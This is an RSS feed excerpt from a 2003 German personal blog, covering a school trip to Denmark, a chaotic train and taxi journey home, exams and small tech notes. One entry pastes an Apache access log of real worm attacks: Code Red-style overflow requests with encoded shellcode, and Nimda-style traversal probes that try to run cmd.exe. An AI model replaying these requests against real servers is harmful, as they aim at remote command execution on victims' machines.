  15272.    <description><![CDATA[Nachdem ich erst gerade aus Dänemark zurück bin, fahre ich in etwa 4 Stunden mit meiner Familie für eine Woche in die Ferien nach Brüssel. Gerade anschliessend beginnt dann die Rekrutenschule, welche am 24. Oktober endet. Am 20 Oktober beginnt das Studium an der <a href="http://www.epfl.ch/"><b>EPFL</b></a>, verpasse ich also schon zum Anfang was :-(
  15273. ]]></description>
  15274.    <content:encoded><![CDATA[Nachdem ich erst gerade aus Dänemark zurück bin, fahre ich in etwa 4 Stunden mit meiner Familie für eine Woche in die Ferien nach Brüssel. Gerade anschliessend beginnt dann die Rekrutenschule, welche am 24. Oktober endet. Am 20 Oktober beginnt das Studium an der <a href="http://www.epfl.ch/"><b>EPFL</b></a>, verpasse ich also schon zum Anfang was :-(
  15275. ]]></content:encoded>
  15276.  </item>
  15277.  
  15278.  <item>
  15279.    <title>Guide to GNU/Linux Desktop Survival</title>
  15280.    <link>https://blog.x-way.org/Linux/2003/07/04/Guide_to_GNULinux_Desktop_Survival.html</link>
  15281.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323965</guid>
  15282.    <dc:creator>Andreas Jaggi</dc:creator>
  15283.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15284.    <pubDate>Fri, 04 Jul 2003 11:03:00 +0200</pubDate>
  15285.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15286.    <description><![CDATA[Dank <a href="http://www.togaware.com/linux/survivor/index.html"><b>diesem reichhaltigen Guide</b></a> habe ich es wieder geschafft, meinen Drucker zum Laufen zu bringen, nachdem ich es, wegen der nicht gemachten Dokumentation vom letzten mal, nochnicht geschafft hatte.
  15287. ]]></description>
  15288.    <content:encoded><![CDATA[Dank <a href="http://www.togaware.com/linux/survivor/index.html"><b>diesem reichhaltigen Guide</b></a> habe ich es wieder geschafft, meinen Drucker zum Laufen zu bringen, nachdem ich es, wegen der nicht gemachten Dokumentation vom letzten mal, nochnicht geschafft hatte.
  15289. ]]></content:encoded>
  15290.  </item>
  15291.  
  15292.  <item>
  15293.    <title>back @ home</title>
  15294.    <link>https://blog.x-way.org/Misc/2003/07/01/back__home.html</link>
  15295.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323964</guid>
  15296.    <dc:creator>Andreas Jaggi</dc:creator>
  15297.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15298.    <pubDate>Tue, 01 Jul 2003 23:10:00 +0200</pubDate>
  15299.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15300.    <description><![CDATA[So, ich bin zurück aus Dänemark. Es war schön und hatte sogar genügend Sonne, dass ich mir nen Sonnenbrand geholt habe.<br>Besonders die 21-stündige Rückreise war sehr abenteuerlich, da bei wirklich jedem Umsteigen alle Züge Verspätung hatten...
  15301. <br><br>
  15302. <img src="https://blog.x-way.org/images/karte.png" width="300" height="300" alt="Karte von Dänemark und Deutschland"><br><br>Unsere Rückreise startete ganz normal mit einer einstündigen Busfahrt von Faaborg nach Odense (14.04 bis ca. 15.00). In Odense sollte unser Zug um 16.04 fahren, damit wir in Kollding in den IC nach Hamburg wechseln konnten.<br>Jedoch erfahren wir in Odense etwas vor 16 Uhr eher zufällig, dass der Zug nach Kollding so viel Verspätung hat, dass wir den IC nach Hamburg nicht mehr erreichen können. Unser erster Gedanke: Scheisse, nächster Zug erst in 24 Stunden.<br>Da aber noch andere Passagiere in dieser Situation waren, hat ein dänischer "Reiseleiter" (er begleitete zwei Jugendliche aus Ohaio an den Bahnhof) mit dem Bahnpersonal ausgehandelt, dass die Dänische Bahn ein Taxi bezahlt, das uns bis nach Kollding bringt, damit wir den IC nach Hamburg noch erreichen.<br>Gut, das Taxi kommt, mittlerweile ist es schon 16.22 und der IC in Kollding fährt um 16.47. Der Taxifahrer hat folgende Anweisung bekommen: 'Drive like hell!' und wir sind losgefahren.<br>Als wir erst um ungefähr 17 Uhr in der Nähe von Kollding sind, entscheidet der Taxifahrer, dass wir zur nächsten Station fahren, wo der IC hält, Flensburg (etwa 200km von Odense entfernt). Wir fahren nach Flensburg und haben dort etwa 10 Minuten vorsprung auf den Zug. Jedoch entscheidet der Taxifahrer weiterzufahren, da es vermutlich nicht möglich ist, in 10 Minuten von der Autobahn bis zum Bahnhof zu gelangen, und wenn wir dann dort wären und den Zug verpasst hätten, so müssten wir noch viel mehr Zeit aufholen.<br>Also rasen wir weiter, über die Grenze, wo der Taxifahrer feststellt, dass er das erste mal mit dem Taxi in Deutschland ist. Nächstes Ziel ist Hamburg (etwa 180 km von Flensburg entfernt). Dort würde unser nächster Zug (CityNightLiner nach Zürich) um 20.19 fahren.<br>Als wir auf Neumünster zufahren, haben wir 25 Minuten Vorsprung auf den Zug und der Taxifahrer entscheidet, hier zum Bahnhof zu fahren anstatt sich in Hamburg durch das städtische Verkehrschaos zu zwängen. Mittlerweile ist es fast 19 Uhr. Wir sind nun schon 3 Stunden Taxi gefahren, die Dänische Bahn wird sich sicher über die Rechnung freuen *bg*<br>Wir finden den Bahnhof ziemlich leicht und die Leute staunen nicht schlecht, als sie ein dänisches Taxi sehen *g*<br>Mit ein paar Minuten Verspätung fährt der dänische IC dann ein und wir steigen endlich in den Zug ein, in dem wir schon seit 2,5 Stunden sein sollten.<br>Mit einer kleinen Verspätung kommen wir in Hamburd-Dammtor an, was jedoch nicht weiter schlimm ist, da wir dort sowiese eine halbe Stunde Aufenthalt hätten.<br>Um 20.24 kommt der CityNightLiner mit 5 Minuten Verspätung, die sich noch vergrössern werden. Wir beziehen unsere Sleeperette (= Liegesessel) und freuen uns, dass wir uns endlich etwas erholen können :-)<br>Die Zugfahrt quer durch Deutschland verläuft wortwörtlich wie im Schlaf *g*<br>Als wir  jedoch am Morgen aufwachen kommt der Zug mit 20 Minuten Verspätung um 7.16 anstatt umd 6.56 in Basel an und wir verpassen unseren Zug, der um 7.04 gefahren ist.<br>Nach einer Stunde rumhängen im Bahnhof Basel, nehmen wir den Zug um 8.04 Richtung Bern, Thun, Spiez, Interlaken.<br>Um 9.58 steige ich in Spiez aus dem Zug aus und warte auf meinen Anschlusszug der um 10.02 fahren sollte. Als um 10.03 immernoch kein Zug da ist, höre ich die Durchsage: "Der Goldenpass Express nach Zweisimmen, planmässige Abfahrt 10.02 folgt in circa 5 Minuten"<br>Nach etwa 10 Minuten kommt der Zug und ich beginne auch die letzte Etape meiner Heimreise. In Zweisimmen komme ich schliesslich mit 15 Minuten Verspätung um 10.55 an, was mir jedoch nichts mehr ausmacht, da ich keine weiteren Anschlusszüge erreichen muss und nach 21 Stunden reisen sowieso nur noch in Bett fallen kann ;-)
  15303. ]]></description>
  15304.    <content:encoded><![CDATA[So, ich bin zurück aus Dänemark. Es war schön und hatte sogar genügend Sonne, dass ich mir nen Sonnenbrand geholt habe.<br>Besonders die 21-stündige Rückreise war sehr abenteuerlich, da bei wirklich jedem Umsteigen alle Züge Verspätung hatten...
  15305. <br><br>
  15306. <img src="https://blog.x-way.org/images/karte.png" width="300" height="300" alt="Karte von Dänemark und Deutschland"><br><br>Unsere Rückreise startete ganz normal mit einer einstündigen Busfahrt von Faaborg nach Odense (14.04 bis ca. 15.00). In Odense sollte unser Zug um 16.04 fahren, damit wir in Kollding in den IC nach Hamburg wechseln konnten.<br>Jedoch erfahren wir in Odense etwas vor 16 Uhr eher zufällig, dass der Zug nach Kollding so viel Verspätung hat, dass wir den IC nach Hamburg nicht mehr erreichen können. Unser erster Gedanke: Scheisse, nächster Zug erst in 24 Stunden.<br>Da aber noch andere Passagiere in dieser Situation waren, hat ein dänischer "Reiseleiter" (er begleitete zwei Jugendliche aus Ohaio an den Bahnhof) mit dem Bahnpersonal ausgehandelt, dass die Dänische Bahn ein Taxi bezahlt, das uns bis nach Kollding bringt, damit wir den IC nach Hamburg noch erreichen.<br>Gut, das Taxi kommt, mittlerweile ist es schon 16.22 und der IC in Kollding fährt um 16.47. Der Taxifahrer hat folgende Anweisung bekommen: 'Drive like hell!' und wir sind losgefahren.<br>Als wir erst um ungefähr 17 Uhr in der Nähe von Kollding sind, entscheidet der Taxifahrer, dass wir zur nächsten Station fahren, wo der IC hält, Flensburg (etwa 200km von Odense entfernt). Wir fahren nach Flensburg und haben dort etwa 10 Minuten vorsprung auf den Zug. Jedoch entscheidet der Taxifahrer weiterzufahren, da es vermutlich nicht möglich ist, in 10 Minuten von der Autobahn bis zum Bahnhof zu gelangen, und wenn wir dann dort wären und den Zug verpasst hätten, so müssten wir noch viel mehr Zeit aufholen.<br>Also rasen wir weiter, über die Grenze, wo der Taxifahrer feststellt, dass er das erste mal mit dem Taxi in Deutschland ist. Nächstes Ziel ist Hamburg (etwa 180 km von Flensburg entfernt). Dort würde unser nächster Zug (CityNightLiner nach Zürich) um 20.19 fahren.<br>Als wir auf Neumünster zufahren, haben wir 25 Minuten Vorsprung auf den Zug und der Taxifahrer entscheidet, hier zum Bahnhof zu fahren anstatt sich in Hamburg durch das städtische Verkehrschaos zu zwängen. Mittlerweile ist es fast 19 Uhr. Wir sind nun schon 3 Stunden Taxi gefahren, die Dänische Bahn wird sich sicher über die Rechnung freuen *bg*<br>Wir finden den Bahnhof ziemlich leicht und die Leute staunen nicht schlecht, als sie ein dänisches Taxi sehen *g*<br>Mit ein paar Minuten Verspätung fährt der dänische IC dann ein und wir steigen endlich in den Zug ein, in dem wir schon seit 2,5 Stunden sein sollten.<br>Mit einer kleinen Verspätung kommen wir in Hamburd-Dammtor an, was jedoch nicht weiter schlimm ist, da wir dort sowiese eine halbe Stunde Aufenthalt hätten.<br>Um 20.24 kommt der CityNightLiner mit 5 Minuten Verspätung, die sich noch vergrössern werden. Wir beziehen unsere Sleeperette (= Liegesessel) und freuen uns, dass wir uns endlich etwas erholen können :-)<br>Die Zugfahrt quer durch Deutschland verläuft wortwörtlich wie im Schlaf *g*<br>Als wir  jedoch am Morgen aufwachen kommt der Zug mit 20 Minuten Verspätung um 7.16 anstatt umd 6.56 in Basel an und wir verpassen unseren Zug, der um 7.04 gefahren ist.<br>Nach einer Stunde rumhängen im Bahnhof Basel, nehmen wir den Zug um 8.04 Richtung Bern, Thun, Spiez, Interlaken.<br>Um 9.58 steige ich in Spiez aus dem Zug aus und warte auf meinen Anschlusszug der um 10.02 fahren sollte. Als um 10.03 immernoch kein Zug da ist, höre ich die Durchsage: "Der Goldenpass Express nach Zweisimmen, planmässige Abfahrt 10.02 folgt in circa 5 Minuten"<br>Nach etwa 10 Minuten kommt der Zug und ich beginne auch die letzte Etape meiner Heimreise. In Zweisimmen komme ich schliesslich mit 15 Minuten Verspätung um 10.55 an, was mir jedoch nichts mehr ausmacht, da ich keine weiteren Anschlusszüge erreichen muss und nach 21 Stunden reisen sowieso nur noch in Bett fallen kann ;-)
  15307. ]]></content:encoded>
  15308.  </item>
  15309.  
  15310.  <item>
  15311.    <title>Dänemark ich komme</title>
  15312.    <link>https://blog.x-way.org/Misc/2003/06/20/Daenemark_ich_komme.html</link>
  15313.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323962</guid>
  15314.    <dc:creator>Andreas Jaggi</dc:creator>
  15315.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15316.    <pubDate>Fri, 20 Jun 2003 12:20:00 +0200</pubDate>
  15317.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15318.    <description><![CDATA[Wie gi <a href="https://web.archive.org/web/20030625203216/http://360degrees.gmgn.de/?action=comment&amp;newsid=88"><b>neulich</b></a>, starte ich auch ne grosse Postkartenaktion *g*<br>Wer also ne Karte will, soll mir bis 14 Uhr seine Adresse mitteilen (die ohne http:// ;-)
  15319. ]]></description>
  15320.    <content:encoded><![CDATA[Wie gi <a href="https://web.archive.org/web/20030625203216/http://360degrees.gmgn.de/?action=comment&amp;newsid=88"><b>neulich</b></a>, starte ich auch ne grosse Postkartenaktion *g*<br>Wer also ne Karte will, soll mir bis 14 Uhr seine Adresse mitteilen (die ohne http:// ;-)
  15321. ]]></content:encoded>
  15322.  </item>
  15323.  
  15324.  <item>
  15325.    <title>Maturareise</title>
  15326.    <link>https://blog.x-way.org/School/2003/06/19/Maturareise.html</link>
  15327.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323961</guid>
  15328.    <dc:creator>Andreas Jaggi</dc:creator>
  15329.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15330.    <pubDate>Thu, 19 Jun 2003 22:24:00 +0200</pubDate>
  15331.    <category domain="https://blog.x-way.org/School/">School</category>
  15332.    <description><![CDATA[Morgen um 16.18 Uhr fahre ich mit meiner Klasse nach Dänemark auf die Maturareise.<br>Ich melde mich dann im Juli wieder :-)
  15333. ]]></description>
  15334.    <content:encoded><![CDATA[Morgen um 16.18 Uhr fahre ich mit meiner Klasse nach Dänemark auf die Maturareise.<br>Ich melde mich dann im Juli wieder :-)
  15335. ]]></content:encoded>
  15336.  </item>
  15337.  
  15338.  <item>
  15339.    <title>dumdidum</title>
  15340.    <link>https://blog.x-way.org/Networking/2003/06/16/dumdidum.html</link>
  15341.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323960</guid>
  15342.    <dc:creator>Andreas Jaggi</dc:creator>
  15343.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15344.    <pubDate>Mon, 16 Jun 2003 02:18:00 +0200</pubDate>
  15345.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  15346.    <description><![CDATA[Da hab ich nun mit nem 486 nen superleisen 'Server' gebastelt und kaum den Apache installiert und alles eingerichtet, schon sieht's im accesslog so aus:<br><br>
  15347. 192.168.23.6 - - [15/Jun/2003:17:58:38 +0200] "GET / HTTP/1.1" 200 71 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030605 Mozilla Firebird/0.6"<br>(Mein erster Zugriff, davon hats natürlich noch n paar mehr *g*)
  15348. <br><br>
  15349. 212.156.34.148 - - [15/Jun/2003:21:39:49 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 404 266 "-" "-"<br>212.174.107.18 - - [15/Jun/2003:23:24:03 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 404 266 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:21 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 271 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:21 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 269 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:21 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 279 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:21 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 279 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:22 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:22 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:22 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:25 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 326 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
  15350. <br>212.181.34.130 - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
  15351. <br>212.181.34.130 - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 276 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 276 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293 "-" "-"
  15352. ]]></description>
  15353.    <content:encoded><![CDATA[Da hab ich nun mit nem 486 nen superleisen 'Server' gebastelt und kaum den Apache installiert und alles eingerichtet, schon sieht's im accesslog so aus:<br><br>
  15354. 192.168.23.6 - - [15/Jun/2003:17:58:38 +0200] "GET / HTTP/1.1" 200 71 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030605 Mozilla Firebird/0.6"<br>(Mein erster Zugriff, davon hats natürlich noch n paar mehr *g*)
  15355. <br><br>
  15356. 212.156.34.148 - - [15/Jun/2003:21:39:49 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 404 266 "-" "-"<br>212.174.107.18 - - [15/Jun/2003:23:24:03 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 404 266 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:21 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 271 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:21 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 269 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:21 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 279 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:21 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 279 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:22 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:22 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:22 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:25 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 326 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
  15357. <br>212.181.34.130 - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
  15358. <br>212.181.34.130 - - [15/Jun/2003:23:45:29 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 276 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 276 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293 "-" "-"<br>212.181.34.130 - - [15/Jun/2003:23:45:30 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293 "-" "-"
  15359. ]]></content:encoded>
  15360.  </item>
  15361.  
  15362.  <item>
  15363.    <title>Jaaaaaaaaaaaaa...</title>
  15364.    <link>https://blog.x-way.org/School/2003/06/14/Jaaaaaaaaaaaaa.html</link>
  15365.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323959</guid>
  15366.    <dc:creator>Andreas Jaggi</dc:creator>
  15367.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15368.    <pubDate>Sat, 14 Jun 2003 11:36:00 +0200</pubDate>
  15369.    <category domain="https://blog.x-way.org/School/">School</category>
  15370.    <description><![CDATA[Nun habe auch ich die Maturitätsprüfungen erfolgreich überlebt. Und mit mir auch alle anderen!<br>In der Regel fallen 2-3 durch, doch diesmal haben alle bestanden!<br>84 ist halt einfach der beste Jahrgang *g*
  15371. ]]></description>
  15372.    <content:encoded><![CDATA[Nun habe auch ich die Maturitätsprüfungen erfolgreich überlebt. Und mit mir auch alle anderen!<br>In der Regel fallen 2-3 durch, doch diesmal haben alle bestanden!<br>84 ist halt einfach der beste Jahrgang *g*
  15373. ]]></content:encoded>
  15374.  </item>
  15375.  
  15376.  <item>
  15377.    <title>Web Developer extension for Mozilla Firebird</title>
  15378.    <link>https://blog.x-way.org/Webdesign/2003/06/11/Web_Developer_extension_for_Mozilla_Firebird.html</link>
  15379.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323958</guid>
  15380.    <dc:creator>Andreas Jaggi</dc:creator>
  15381.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15382.    <pubDate>Wed, 11 Jun 2003 01:35:00 +0200</pubDate>
  15383.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  15384.    <description><![CDATA[Ist mir gerade bei <a href="http://news.css-technik.de/"><b>CSS-Technik-News</b></a> ins Auge gestochen, dass es jetzt noch weh tut: <a href="https://web.archive.org/web/20030605233954/http://chrispederick.myacen.com/work/firebird/webdeveloper/"><b>Web Developer extension for Mozilla Firebird</b></a>
  15385. ]]></description>
  15386.    <content:encoded><![CDATA[Ist mir gerade bei <a href="http://news.css-technik.de/"><b>CSS-Technik-News</b></a> ins Auge gestochen, dass es jetzt noch weh tut: <a href="https://web.archive.org/web/20030605233954/http://chrispederick.myacen.com/work/firebird/webdeveloper/"><b>Web Developer extension for Mozilla Firebird</b></a>
  15387. ]]></content:encoded>
  15388.  </item>
  15389.  
  15390.  <item>
  15391.    <title>gammel</title>
  15392.    <link>https://blog.x-way.org/Misc/2003/06/06/gammel.html</link>
  15393.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323957</guid>
  15394.    <dc:creator>Andreas Jaggi</dc:creator>
  15395.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15396.    <pubDate>Fri, 06 Jun 2003 00:43:00 +0200</pubDate>
  15397.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15398.    <description><![CDATA[Da's ja <a href="https://web.archive.org/web/20060715140732/http://rw.fuq-u.org/"><b>alle</b></a> <a href="http://kniebes.com/"><b>Welt</b></a> macht, muss ich wohl mitziehen *g*
  15399. <br><a href="https://web.archive.org/web/20030601131549/http://www.southparkstudios.com/games/create.html"><b>Southpark Selfmade</b></a><br>Via Drey, <a href="https://web.archive.org/web/20060715140732/http://rw.fuq-u.org/"><b>rw</b></a> und <a href="http://kniebes.com/"><b>mk</b></a>
  15400. <br><br><img src="https://blog.x-way.org/images/southpark2.png" alt="Gymnasium - Apathie erleben!" title="Gymnasium - Apathie erleben!">
  15401. ]]></description>
  15402.    <content:encoded><![CDATA[Da's ja <a href="https://web.archive.org/web/20060715140732/http://rw.fuq-u.org/"><b>alle</b></a> <a href="http://kniebes.com/"><b>Welt</b></a> macht, muss ich wohl mitziehen *g*
  15403. <br><a href="https://web.archive.org/web/20030601131549/http://www.southparkstudios.com/games/create.html"><b>Southpark Selfmade</b></a><br>Via Drey, <a href="https://web.archive.org/web/20060715140732/http://rw.fuq-u.org/"><b>rw</b></a> und <a href="http://kniebes.com/"><b>mk</b></a>
  15404. <br><br><img src="https://blog.x-way.org/images/southpark2.png" alt="Gymnasium - Apathie erleben!" title="Gymnasium - Apathie erleben!">
  15405. ]]></content:encoded>
  15406.  </item>
  15407.  
  15408.  <item>
  15409.    <title>Happy Birthday x-log</title>
  15410.    <link>https://blog.x-way.org/Misc/2003/06/04/Happy_Birthday_x-log.html</link>
  15411.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323956</guid>
  15412.    <dc:creator>Andreas Jaggi</dc:creator>
  15413.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15414.    <pubDate>Wed, 04 Jun 2003 13:34:00 +0200</pubDate>
  15415.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15416.    <description><![CDATA[Ich habe es natürlich wieder verschlafen:<br>Vorgestern vor einem Jahr hatte ich den ersten (Test)Eintrag, der unterdessen verschwunden ist, ins Weblog geschrieben. Der zweite Eintrag findet man <a href="http://waterwave.ch/weblog/detail.php?id=2"><b>hier</b></a>.<br>Nun habe ich schon ein Jahr lang das Internet mit meinem Gebrabel belästigt und habe nicht vor damit aufzuhören *fg*<br><br>Wer sich beschweren oder gratulieren will, voilà: happybirthday Affenschwanz x-log Punkt waterwave Punkt ch
  15417. <br><br>
  15418. <img src="https://blog.x-way.org/images/torte.gif" alt="Torte">
  15419. ]]></description>
  15420.    <content:encoded><![CDATA[Ich habe es natürlich wieder verschlafen:<br>Vorgestern vor einem Jahr hatte ich den ersten (Test)Eintrag, der unterdessen verschwunden ist, ins Weblog geschrieben. Der zweite Eintrag findet man <a href="http://waterwave.ch/weblog/detail.php?id=2"><b>hier</b></a>.<br>Nun habe ich schon ein Jahr lang das Internet mit meinem Gebrabel belästigt und habe nicht vor damit aufzuhören *fg*<br><br>Wer sich beschweren oder gratulieren will, voilà: happybirthday Affenschwanz x-log Punkt waterwave Punkt ch
  15421. <br><br>
  15422. <img src="https://blog.x-way.org/images/torte.gif" alt="Torte">
  15423. ]]></content:encoded>
  15424.  </item>
  15425.  
  15426.  <item>
  15427.    <title>Fuck</title>
  15428.    <link>https://blog.x-way.org/Tech/2003/05/23/Fuck.html</link>
  15429.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323955</guid>
